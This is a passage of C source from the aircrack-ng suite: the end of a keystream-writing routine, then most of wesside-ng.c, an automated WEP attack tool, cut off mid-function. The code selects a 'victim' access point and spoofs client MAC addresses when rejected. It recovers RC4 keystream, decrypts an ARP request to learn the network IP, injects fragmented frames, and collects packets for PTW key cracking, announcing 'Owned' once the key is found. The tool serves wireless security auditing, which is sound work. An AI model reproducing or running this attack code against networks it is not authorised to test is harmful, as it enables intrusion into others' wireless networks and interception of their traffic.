sizeof(struct ivs2_pkthdr), f_ivs_out ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( fwrite( K, 1, 3, f_ivs_out ) != (size_t) 3 ) { perror( "fwrite(IV iv) failed" ); return( 1 ); } if( fwrite( &zero, 1, 1, f_ivs_out ) != (size_t) 1 ) { perror( "fwrite(IV idx) failed" ); return( 1 ); } ivs2.len -= 4; i = j = 0; for( k=0; k < length; k++ ) { i = (i+1) & 0xFF; j = ( j + S[i] ) & 0xFF; SWAP(S[i], S[j]); fprintf( f_ivs_out, "%c", S[(S[i] + S[j]) & 0xFF] ); } if((n%10000) == 0) printf("%2.1f%%\r", ((float)n/(float)count)*100.0f); fflush(stdout); } fclose( f_ivs_out ); printf( "Done.\n" ); return( 0 ); } aircrack-ng-1.2-beta3/src/wesside-ng.c0000644000000000000000000013161611355271630016242 0ustar rootroot/* * Copyright (C) 2005, 2006, 2007, 2008, 2009 Andrea Bittau * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep/osdep.h" #include "pcap.h" #include "aircrack-ptw-lib.h" #include "ieee80211.h" #include "ethernet.h" #include "if_arp.h" #include "if_llc.h" #include "crypto.h" #include "version.h" #include "osdep/byteorder.h" #define FIND_VICTIM 0 #define FOUND_VICTIM 1 #define SENDING_AUTH 2 #define GOT_AUTH 3 #define SPOOF_MAC 4 #define SENDING_ASSOC 5 #define GOT_ASSOC 6 #define LINKTYPE_IEEE802_11 105 #define TCPDUMP_MAGIC 0xA1B2C3D4 #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00" #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06") #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00") #define PADDED_ARPLEN 54 #define MCAST_PREF "\x01\x00\x5e\x00\x00" #define WEP_FILE "wep.cap" #define KEY_FILE "key.log" #define PRGA_FILE "prga.log" #define KEYLIMIT 1000000 extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); struct frag_state { struct ieee80211_frame fs_wh; unsigned char *fs_data; int fs_len; unsigned char *fs_ptr; int fs_waiting_relay; struct timeval fs_last; }; struct prga_info { unsigned char *pi_prga; int pi_len; unsigned char pi_iv[3]; }; struct wstate { int ws_state; struct timeval ws_arpsend; char *ws_netip; int ws_netip_arg; int ws_max_chan; unsigned char *ws_rtrmac; unsigned char ws_mymac[6]; int ws_have_mac; char ws_myip[16]; unsigned char *ws_victim_mac; PTW_attackstate *ws_ptw; unsigned int ws_ack_timeout; int ws_min_prga; int ws_thresh_incr; int ws_crack_dur; int ws_wep_thresh; int ws_crack_pid; struct timeval ws_crack_start; struct timeval ws_real_start; struct timeval ws_lasthop; struct timeval ws_last_wcount; struct wif *ws_wi; unsigned int ws_last_wep_count; int ws_ignore_ack; /* tx_state */ int ws_waiting_ack; struct timeval ws_tsent; int ws_retries; unsigned int ws_psent; /* chan_info */ int ws_chan; /* victim_info */ char *ws_ssid; int ws_apchan; unsigned char ws_bss[6]; struct frag_state ws_fs; struct prga_info ws_pi; /* decrypt_state */ unsigned char *ws_cipher; int ws_clen; struct prga_info ws_dpi; struct frag_state ws_dfs; /* wep_log */ unsigned int ws_packets; unsigned int ws_rate; int ws_fd; unsigned char ws_iv[3]; } _wstate; #define KEYHSBYTES PTW_KEYHSBYTES int PTW_DEFAULTWEIGHT[1] = { 256 }; int PTW_DEFAULTBF[PTW_KEYHSBYTES] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; struct timeval t_begin; /* time at start of attack */ struct timeval t_stats; /* time since last update */ float chrono( struct timeval *start, int reset ) { float delta; struct timeval current; gettimeofday( ¤t, NULL ); delta = ( current.tv_sec - start->tv_sec ) + (float) ( current.tv_usec - start->tv_usec ) / 1000000; if( reset ) gettimeofday( start, NULL ); return( delta ); } /* display the current votes */ void show_wep_stats( int B, int force, PTW_tableentry table[PTW_KEYHSBYTES][PTW_n], int choices[KEYHSBYTES], int depth[KEYHSBYTES], int prod, int keylimit ) { float delta; struct winsize ws; int i, et_h, et_m, et_s; static int is_cleared = 0; return; if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 ) { ws.ws_row = 25; ws.ws_col = 80; } if( (chrono( &t_stats, 0 ) < 1.51) && force == 0 ) return; chrono( &t_stats, 1 ); delta = chrono( &t_begin, 0 ); et_h = delta / 3600; et_m = ( delta - et_h * 3600 ) / 60; et_s = delta - et_h * 3600 - et_m * 60; if( is_cleared == 0 ) { is_cleared++; printf( "\33[2J" ); } if(table) printf( "\33[5;%dH[%02d:%02d:%02d] Tested %d/%d keys\33[K", (ws.ws_col - 44) / 2, et_h, et_m, et_s, prod, keylimit ); printf( "\33[7;4HKB depth byte(vote)\n" ); for( i = 0; i <= B; i++ ) { int j, k = ( ws.ws_col - 20 ) / 9; if(table) printf( " %2d %3d/%3d ", i, depth[i], choices[i] ); if(table) { for( j = depth[i]; j < k + depth[i]; j++ ) { if( j >= 256 ) break; printf( "%02X(%4d) ", table[i][j].b, table[i][j].votes ); } } printf( "\n" ); } // if( B < opt.keylen - 1 ) // printf( "\33[J" ); printf( "\n" ); } static struct wstate *get_ws(void) { return &_wstate; } static void cleanup(int x); static void sigchild(int x); static void time_print(char* fmt, ...) { va_list ap; char lame[1024]; time_t tt; struct tm *t; va_start(ap, fmt); vsnprintf(lame, sizeof(lame), fmt, ap); va_end(ap); tt = time(NULL); if (tt == (time_t)-1) { perror("time()"); exit(1); } t = localtime(&tt); if (!t) { perror("localtime()"); exit(1); } printf("[%.2d:%.2d:%.2d] %s", t->tm_hour, t->tm_min, t->tm_sec, lame); } static void check_key(struct wstate *ws) { char buf[1024]; int fd; int rd; struct timeval now; fd = open(KEY_FILE, O_RDONLY); if (fd == -1) { return; } rd = read(fd, buf, sizeof(buf) -1); if (rd == -1) { perror("read()"); exit(1); } buf[rd] = 0; close(fd); printf ("\n\n"); time_print("KEY=(%s)\n", buf); if (gettimeofday(&now, NULL) == -1) { perror("gettimeofday()"); exit(1); } printf ("Owned in %.02f minutes\n", ((double) now.tv_sec - ws->ws_real_start.tv_sec)/60.0); cleanup(0); exit(0); } static void kill_crack(struct wstate *ws) { if (ws->ws_crack_pid == 0) return; printf("\n"); time_print("Stopping crack PID=%d\n", ws->ws_crack_pid); // XXX doesn't return -1 for some reason! [maybe on my box... so it // might be buggy on other boxes...] if (kill(ws->ws_crack_pid, SIGINT) == -1) { #if 0 perror("kill()"); exit(1); #endif } ws->ws_crack_pid = 0; check_key(ws); } static void cleanup(int x) { struct wstate *ws = get_ws(); printf("\n"); time_print("Dying...\n"); if (x) {} /* XXX unused */ if (ws->ws_fd) close(ws->ws_fd); kill_crack(ws); if (ws->ws_wi) wi_close(ws->ws_wi); if(ws->ws_ssid) free(ws->ws_ssid); exit(0); } static void set_chan(struct wstate *ws, int c) { if (c == ws->ws_chan) return; if (wi_set_channel(ws->ws_wi, c)) err(1, "wi_set_channel()"); ws->ws_chan = c; } static void hexdump(unsigned char *ptr, int len) { while(len > 0) { printf("%.2X ", *ptr); ptr++; len--; } printf("\n"); } static char* mac2str(unsigned char* mac) { static char ret[6*3]; snprintf(ret, (6*3), "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); return ret; } static void inject(struct wif *wi, void *buf, int len) { int rc; rc = wi_write(wi, buf, len, NULL); if(rc == -1) { perror("writev()"); exit(1); } if (rc != len) { time_print("ERROR: Packet length changed while transmitting (%d instead of %d).\n", rc, len); exit(1); } } static void send_frame(struct wstate *ws, unsigned char* buf, int len) { static unsigned char* lame = 0; static int lamelen = 0; static int lastlen = 0; // retransmit! if (len == -1) { ws->ws_retries++; if (ws->ws_ignore_ack && ws->ws_retries >= ws->ws_ignore_ack) { ws->ws_waiting_ack = 0; return; } if (ws->ws_retries > 10) { time_print("ERROR Max retransmists for (%d bytes):\n", lastlen); hexdump(&lame[0], lastlen); #if 0 txstate.waiting_ack = 0; return; #endif } len = lastlen; // printf("Warning doing a retransmit...\n"); } // normal tx else { assert(!ws->ws_waiting_ack); if (len > lamelen) { if (lame) free(lame); lame = (unsigned char*) malloc(len); if(!lame) { perror("malloc()"); exit(1); } lamelen = len; } memcpy(lame, buf, len); ws->ws_retries = 0; lastlen = len; } inject(ws->ws_wi, lame, len); if (ws->ws_ignore_ack != 1) ws->ws_waiting_ack = 1; ws->ws_psent++; if (gettimeofday(&ws->ws_tsent, NULL) == -1) { perror("gettimeofday()"); exit(1); } #if 0 printf("Wrote frame at %lu.%lu\n", txstate.tsent.tv_sec, txstate.tsent.tv_usec); #endif } /* Expects host-endian arguments, but returns little-endian seq. */ static unsigned short fnseq(unsigned short fn, unsigned short seq) { unsigned short r = 0; if(fn > 15) { time_print("too many fragments (%d)\n", fn); exit(1); } r = fn; r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT); return htole16(r); } static void fill_basic(struct wstate *ws, struct ieee80211_frame* wh) { unsigned short *sp; memcpy(wh->i_addr1, ws->ws_bss, 6); memcpy(wh->i_addr2, ws->ws_mymac, 6); memcpy(wh->i_addr3, ws->ws_bss, 6); sp = (unsigned short*) wh->i_seq; *sp = fnseq(0, ws->ws_psent); sp = (unsigned short*) wh->i_dur; *sp = htole16(32767); } static void send_assoc(struct wstate *ws) { unsigned char buf[128]; struct ieee80211_frame* wh = (struct ieee80211_frame*) buf; unsigned char* body; int ssidlen; memset(buf, 0, sizeof(buf)); fill_basic(ws, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ; body = (unsigned char*) wh + sizeof(*wh); *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap // cap + interval body += 2 + 2; // ssid *body++ = 0; ssidlen = strlen(ws->ws_ssid); *body++ = ssidlen; memcpy(body, ws->ws_ssid, ssidlen); body += ssidlen; // rates *body++ = IEEE80211_ELEMID_RATES; *body++ = 8; *body++ = 2 | 0x80; *body++ = 4 | 0x80; *body++ = 11 | 0x80; *body++ = 22 | 0x80; *body++ = 12 | 0x80; *body++ = 24 | 0x80; *body++ = 48 | 0x80; *body++ = 72; /* x-rates */ *body++ = IEEE80211_ELEMID_XRATES; *body++ = 4; *body++ = 48; *body++ = 72; *body++ = 96; *body++ = 108; send_frame(ws, buf, (unsigned long)body - (unsigned long)buf); } static void wepify(struct wstate *ws, unsigned char* body, int dlen) { uLong crc; unsigned int *pcrc; int i; assert(dlen + 4 <= ws->ws_pi.pi_len); // iv memcpy(body, ws->ws_pi.pi_iv, 3); body +=3; *body++ = 0; // crc crc = crc32(0L, Z_NULL, 0); crc = crc32(crc, body, dlen); pcrc = (unsigned int*) (body+dlen); *pcrc = htole32(crc); for (i = 0; i < dlen +4; i++) *body++ ^= ws->ws_pi.pi_prga[i]; } static void send_auth(struct wstate *ws) { unsigned char buf[128]; struct ieee80211_frame* wh = (struct ieee80211_frame*) buf; unsigned short* n; memset(buf, 0, sizeof(buf)); fill_basic(ws, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH; n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh)); n++; *n = htole16(1); send_frame(ws, buf, sizeof(*wh) + 2 + 2 + 2); } static int get_victim_ssid(struct wstate *ws, struct ieee80211_frame* wh, int len) { unsigned char* ptr; int x; int gots = 0, gotc = 0; if (len <= (int) sizeof(*wh)) { time_print("Warning: short packet in get_victim_ssid()\n"); return 0; } ptr = (unsigned char*)wh + sizeof(*wh); len -= sizeof(*wh); // only wep baby if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) { return 0; } // we want a specific victim if (ws->ws_victim_mac) { if (memcmp(wh->i_addr3, ws->ws_victim_mac, 6) != 0) return 0; } // beacon header x = 8 + 2 + 2; if (len <= x) { time_print("Warning short.\n"); return 0; } ptr += x; len -= x; // SSID while(len > 2) { int eid, elen; eid = *ptr; ptr++; elen = *ptr; ptr++; len -= 2; if (len < elen) { time_print("Warning short....\n"); return 0; } // ssid if (eid == 0) { if (ws->ws_ssid) free(ws->ws_ssid); ws->ws_ssid = (char*) malloc(elen + 1); if (!ws->ws_ssid) { perror("malloc()"); exit(1); } memcpy(ws->ws_ssid, ptr, elen); ws->ws_ssid[elen] = 0; gots = 1; } // chan else if(eid == 3) { if( elen != 1) { time_print("Warning len of chan not 1\n"); return 0; } ws->ws_apchan = *ptr; gotc = 1; } ptr += elen; len -= elen; } if (gots && gotc) { memcpy(ws->ws_bss, wh->i_addr3, 6); set_chan(ws, ws->ws_apchan); ws->ws_state = FOUND_VICTIM; time_print("Found SSID(%s) BSS=(%s) chan=%d\n", ws->ws_ssid, mac2str(ws->ws_bss), ws->ws_apchan); return 1; } return 0; } static void send_ack(struct wstate *ws) { if (ws) {} /* XXX unused */ /* firmware acks */ } static void do_llc(unsigned char* buf, unsigned short type) { struct llc* h = (struct llc*) buf; memset(h, 0, sizeof(*h)); h->llc_dsap = LLC_SNAP_LSAP; h->llc_ssap = LLC_SNAP_LSAP; h->llc_un.type_snap.control = 3; h->llc_un.type_snap.ether_type = htons(type); } static void set_prga(struct wstate *ws, unsigned char* iv, unsigned char* cipher, unsigned char* clear, int len) { int i; int fd; if (ws->ws_pi.pi_len != 0) free(ws->ws_pi.pi_prga); ws->ws_pi.pi_prga = (unsigned char*) malloc(len); if (!ws->ws_pi.pi_prga) { perror("malloc()"); exit(1); } ws->ws_pi.pi_len = len; memcpy(ws->ws_pi.pi_iv, iv, 3); for (i = 0; i < len; i++) { ws->ws_pi.pi_prga[i] = ( cipher ? (clear[i] ^ cipher[i]) : clear[i]); } time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=", ws->ws_pi.pi_len, ws->ws_pi.pi_iv[0], ws->ws_pi.pi_iv[1], ws->ws_pi.pi_iv[2]); hexdump(ws->ws_pi.pi_prga, ws->ws_pi.pi_len); if (!cipher) return; fd = open(PRGA_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (fd == -1) { perror("open()"); exit(1); } i = write(fd, ws->ws_pi.pi_iv, 3); if (i == -1) { perror("write()"); exit(1); } if (i != 3) { printf("Wrote %d out of %d\n", i, 3); exit(1); } i = write(fd, ws->ws_pi.pi_prga, ws->ws_pi.pi_len); if (i == -1) { perror("write()"); exit(1); } if (i != ws->ws_pi.pi_len) { printf("Wrote %d out of %d\n", i, ws->ws_pi.pi_len); exit(1); } close(fd); } static void proc_ctl(struct wstate *ws, int stype) { if (stype == IEEE80211_FC0_SUBTYPE_ACK) { ws->ws_waiting_ack = 0; return; } else if (stype == IEEE80211_FC0_SUBTYPE_RTS) { return; } else if (stype == IEEE80211_FC0_SUBTYPE_CTS) { return; } time_print ("got CTL=%x\n", stype); } static void proc_mgt(struct wstate *ws, int stype, unsigned char *body) { unsigned short * rc; unsigned short * sc; unsigned int aid; if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) { rc = (unsigned short*) body; printf("\n"); time_print("Got deauth=%u\n", le16toh(*rc)); ws->ws_state = FOUND_VICTIM; return; } else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) { sc = (unsigned short*) body; if (ws->ws_state != SENDING_AUTH) /* We didn't ask for it. */ return; if (le16toh(*sc) != 0) { time_print("Warning got auth algo=%x\n", le16toh(*sc)); exit(1); return; } sc++; if (le16toh(*sc) != 2) { time_print("Warning got auth seq=%x\n", le16toh(*sc)); return; } sc++; if (le16toh(*sc) == 1) { time_print("Auth rejected. Spoofin mac.\n"); ws->ws_state = SPOOF_MAC; return; } else if (le16toh(*sc) == 0) { time_print("Authenticated\n"); ws->ws_state = GOT_AUTH; return; } else { time_print("Got auth %x\n", *sc); exit(1); } } else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) { sc = (unsigned short*) body; sc++; // cap if (ws->ws_state != SENDING_ASSOC) /* We didn't ask for it. */ return; if (le16toh(*sc) == 0) { sc++; aid = le16toh(*sc) & 0x3FFF; time_print("Associated (ID=%x)\n", aid); ws->ws_state = GOT_ASSOC; return; } else if (le16toh(*sc) == 12 || le16toh(*sc) == 1) { time_print("Assoc rejected..." " trying to spoof mac.\n"); ws->ws_state = SPOOF_MAC; return; } else { time_print("got assoc %d\n", le16toh(*sc)); exit(1); } } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) { return; } time_print("\nGOT MAN=%x\n", stype); exit(1); } static void proc_data(struct wstate *ws, struct ieee80211_frame *wh, int len) { int dlen; dlen = len - sizeof(*wh) - 4 -4; if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) { time_print("WARNING: Got NON wep packet from %s dlen %d\n", mac2str(wh->i_addr2), dlen); return; } assert (wh->i_fc[1] & IEEE80211_FC1_WEP); if ((dlen == 36 || dlen == PADDED_ARPLEN) && ws->ws_rtrmac == (unsigned char*) 1) { ws->ws_rtrmac = (unsigned char *) malloc(6); if (!ws->ws_rtrmac) { perror("malloc()"); exit(1); } assert( ws->ws_rtrmac > (unsigned char*) 1); memcpy (ws->ws_rtrmac, wh->i_addr3, 6); time_print("Got arp reply from (%s)\n", mac2str(ws->ws_rtrmac)); return; } } static void stuff_for_us(struct wstate *ws, struct ieee80211_frame* wh, int len) { int type,stype; unsigned char *body = (unsigned char*) (wh+1); type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; // CTL if (type == IEEE80211_FC0_TYPE_CTL) { proc_ctl(ws, stype); return; } // MGM if (type == IEEE80211_FC0_TYPE_MGT) { proc_mgt(ws, stype, body); return; } /* Data */ if (type == IEEE80211_FC0_TYPE_DATA && stype == IEEE80211_FC0_SUBTYPE_DATA) { proc_data(ws, wh, len); return; } #if 0 printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n", type, stype, mac2str(wh->i_addr2), len); #endif } static void decrypt_arpreq(struct wstate *ws, struct ieee80211_frame* wh, int rd) { unsigned char* body; int bodylen; unsigned char clear[36]; unsigned char* ptr; struct arphdr* h; int i; body = (unsigned char*) wh+sizeof(*wh); ptr = clear; // calculate clear-text memcpy(ptr, S_LLC_SNAP_ARP, sizeof(S_LLC_SNAP_ARP)-1); ptr += sizeof(S_LLC_SNAP_ARP) -1; h = (struct arphdr*)ptr; h->ar_hrd = htons(ARPHRD_ETHER); h->ar_pro = htons(ETHERTYPE_IP); h->ar_hln = 6; h->ar_pln = 4; h->ar_op = htons(ARPOP_REQUEST); ptr += sizeof(*h); memcpy(ptr, wh->i_addr3, 6); bodylen = rd - sizeof(*wh) - 4 - 4; ws->ws_clen = bodylen; ws->ws_cipher = (unsigned char*) malloc(ws->ws_clen); if (!ws->ws_cipher) { perror("malloc()"); exit(1); } ws->ws_dpi.pi_prga = (unsigned char*) malloc(ws->ws_clen); if (!ws->ws_dpi.pi_prga) { perror("malloc()"); exit(1); } memcpy(ws->ws_cipher, &body[4], ws->ws_clen); memcpy(ws->ws_dpi.pi_iv, body, 3); memset(ws->ws_dpi.pi_prga, 0, ws->ws_clen); for(i = 0; i < (8+8+6); i++) { ws->ws_dpi.pi_prga[i] = ws->ws_cipher[i] ^ clear[i]; } ws->ws_dpi.pi_len = i; time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3)); } static void log_wep(struct wstate *ws, struct ieee80211_frame* wh, int len) { int rd; struct pcap_pkthdr pkh; struct timeval tv; unsigned char *body = (unsigned char*) (wh+1); memset(&pkh, 0, sizeof(pkh)); pkh.caplen = pkh.len = len; if (gettimeofday(&tv, NULL) == -1) err(1, "gettimeofday()"); pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; if (write(ws->ws_fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()"); rd = write(ws->ws_fd, wh, len); if (rd == -1) { perror("write()"); exit(1); } if (rd != len) { time_print("short write %d out of %d\n", rd, len); exit(1); } #if 0 if (fsync(ws->ws_fd) == -1) { perror("fsync()"); exit(1); } #endif memcpy(ws->ws_iv, body, 3); ws->ws_packets++; } static void add_keystream(struct wstate *ws, struct ieee80211_frame* wh, int rd) { unsigned char clear[1024]; int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4; int clearsize; unsigned char *body = (unsigned char*) (wh+1); int i, weight[16], k, j; k = known_clear(clear, &clearsize, weight, (void*) wh, dlen); if (clearsize < 16) return; for (j=0; jws_ptw, body, clear, weight, k); } static void got_ip(struct wstate *ws) { unsigned char ip[4]; int i; struct in_addr *in = (struct in_addr*) ip; char *ptr; for (i = 0; i < 4; i++) ip[i] = ws->ws_cipher[8+8+6+i] ^ ws->ws_dpi.pi_prga[8+8+6+i]; assert(!ws->ws_netip); ws->ws_netip = malloc(16); if(!ws->ws_netip) { perror("malloc()"); exit(1); } memset(ws->ws_netip, 0, 16); strncpy(ws->ws_netip, inet_ntoa(*in), 16-1); time_print("Got IP=(%s)\n", ws->ws_netip); strncpy(ws->ws_myip, ws->ws_netip, sizeof(ws->ws_myip)-1); ptr = strchr(ws->ws_myip, '.'); assert(ptr); ptr = strchr(ptr+1, '.'); assert(ptr); ptr = strchr(ptr+1, '.'); assert(ptr); strncpy(ptr+1,"123", 3); time_print("My IP=(%s)\n", ws->ws_myip); /* clear decrypt state */ free(ws->ws_dpi.pi_prga); free(ws->ws_cipher); ws->ws_cipher = 0; ws->ws_clen = 0; memset(&ws->ws_dpi, 0, sizeof(ws->ws_dpi)); memset(&ws->ws_dfs, 0, sizeof(ws->ws_dfs)); } static void check_relay(struct wstate *ws, struct ieee80211_frame *wh, unsigned char *body, int dlen) { // looks like it... if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0) && (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) && dlen == ws->ws_fs.fs_len) { // printf("I fink AP relayed it...\n"); set_prga(ws, body, &body[4], ws->ws_fs.fs_data, dlen); free(ws->ws_fs.fs_data); ws->ws_fs.fs_data = 0; ws->ws_fs.fs_waiting_relay = 0; } // see if we get the multicast stuff of when decrypting if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0) && (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) && dlen == 36) { unsigned char pr = wh->i_addr1[5]; printf("\n"); time_print("Got clear-text byte: %d\n", ws->ws_cipher[ws->ws_dpi.pi_len-1] ^ pr); ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1] = pr; ws->ws_dpi.pi_len++; ws->ws_dfs.fs_waiting_relay = 1; // ok we got the ip... if (ws->ws_dpi.pi_len == 26+1) { got_ip(ws); } } } static void got_wep(struct wstate *ws, struct ieee80211_frame* wh, int rd) { int bodylen; int dlen; unsigned char clear[1024]; int clearsize; unsigned char *body; bodylen = rd - sizeof(struct ieee80211_frame); dlen = bodylen - 4 - 4; body = (unsigned char*) wh + sizeof(*wh); // log it if its stuff not from us... if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) || ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) && memcmp(wh->i_addr2, ws->ws_mymac, 6) != 0) ) { if (body[3] != 0) { time_print("Key index=%x!!\n", body[3]); exit(1); } log_wep(ws, wh, rd); add_keystream(ws, wh, rd); } // look for arp-request packets... so we can decrypt em if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && (memcmp(wh->i_addr3, ws->ws_mymac, 6) != 0) && (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) && (dlen == 36 || dlen == PADDED_ARPLEN) && !ws->ws_cipher && !ws->ws_netip) { decrypt_arpreq(ws, wh, rd); } // we have prga... check if its our stuff being relayed... if (ws->ws_pi.pi_len != 0) { check_relay(ws, wh, body, dlen); return; } known_clear(clear, &clearsize, NULL, (void*) wh, dlen); time_print("Datalen %d Known clear %d\n", dlen, clearsize); set_prga(ws, body, &body[4], clear, clearsize); } static void stuff_for_net(struct wstate *ws, struct ieee80211_frame* wh, int rd) { int type, stype; type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; if (type == IEEE80211_FC0_TYPE_DATA && stype == IEEE80211_FC0_SUBTYPE_DATA) { int dlen = rd - sizeof(struct ieee80211_frame); if (ws->ws_state == SPOOF_MAC) { unsigned char mac[6]; if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { memcpy(mac, wh->i_addr3, 6); } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) { memcpy(mac, wh->i_addr1, 6); } else assert(0); if (mac[0] == 0xff || mac[0] == 0x1) return; memcpy(ws->ws_mymac, mac, 6); time_print("Trying to use MAC=(%s)\n", mac2str(ws->ws_mymac)); ws->ws_state = FOUND_VICTIM; return; } // wep data! if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) { got_wep(ws, wh, rd); } } } static void anal(struct wstate *ws, unsigned char* buf, int rd) // yze { struct ieee80211_frame* wh = (struct ieee80211_frame *) buf; int type,stype; static int lastseq = -1; int seq; unsigned short *seqptr; int for_us = 0; if (rd < 1) { time_print("rd=%d\n", rd); exit(1); } type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; // sort out acks if (ws->ws_state >= FOUND_VICTIM) { // stuff for us if (memcmp(wh->i_addr1, ws->ws_mymac, 6) == 0) { for_us = 1; if (type != IEEE80211_FC0_TYPE_CTL) send_ack(ws); } } // XXX i know it aint great... seqptr = (unsigned short*) wh->i_seq; seq = (le16toh(*seqptr) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) && type != IEEE80211_FC0_TYPE_CTL) { // printf("Ignoring dup packet... seq=%d\n", seq); return; } lastseq = seq; // management frame if (type == IEEE80211_FC0_TYPE_MGT) { if(ws->ws_state == FIND_VICTIM) { if (stype == IEEE80211_FC0_SUBTYPE_BEACON || stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) { if (get_victim_ssid(ws, wh, rd)) { return; } } } } if (ws->ws_state >= FOUND_VICTIM) { // stuff for us if (for_us) { stuff_for_us(ws, wh, rd); } // stuff in network [even for us] if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) && (memcmp(ws->ws_bss, wh->i_addr1, 6) == 0)) || ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && (memcmp(ws->ws_bss, wh->i_addr2, 6) == 0)) ) { stuff_for_net(ws, wh, rd); } } } static void do_arp(unsigned char* buf, unsigned short op, unsigned char* m1, char* i1, unsigned char* m2, char* i2) { struct in_addr sip; struct in_addr dip; struct arphdr* h; unsigned char* data; inet_aton(i1, &sip); inet_aton(i2, &dip); h = (struct arphdr*) buf; memset(h, 0, sizeof(*h)); h->ar_hrd = htons(ARPHRD_ETHER); h->ar_pro = htons(ETHERTYPE_IP); h->ar_hln = 6; h->ar_pln = 4; h->ar_op = htons(op); data = (unsigned char*) h + sizeof(*h); memcpy(data, m1, 6); data += 6; memcpy(data, &sip, 4); data += 4; memcpy(data, m2, 6); data += 6; memcpy(data, &dip, 4); data += 4; } static void send_fragment(struct wstate *ws, struct frag_state* fs, struct prga_info *pi) { unsigned char buf[4096]; struct ieee80211_frame* wh; unsigned char* body; int fragsize; uLong crc; unsigned int *pcrc; int i; unsigned short* seq; unsigned short sn, fn; wh = (struct ieee80211_frame*) buf; memcpy(wh, &fs->fs_wh, sizeof(*wh)); body = (unsigned char*) wh + sizeof(*wh); memcpy(body, &pi->pi_iv, 3); body += 3; *body++ = 0; // key index fragsize = fs->fs_data + fs->fs_len - fs->fs_ptr; assert(fragsize > 0); if ( (fragsize + 4) > pi->pi_len) { fragsize = pi->pi_len - 4; wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG; } // last fragment else { wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; } memcpy(body, fs->fs_ptr, fragsize); crc = crc32(0L, Z_NULL, 0); crc = crc32(crc, body, fragsize); pcrc = (unsigned int*) (body+fragsize); *pcrc = htole32(crc); for (i = 0; i < (fragsize + 4); i++) body[i] ^= pi->pi_prga[i]; seq = (unsigned short*) &wh->i_seq; sn = (le16toh(*seq) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; fn = le16toh(*seq) & 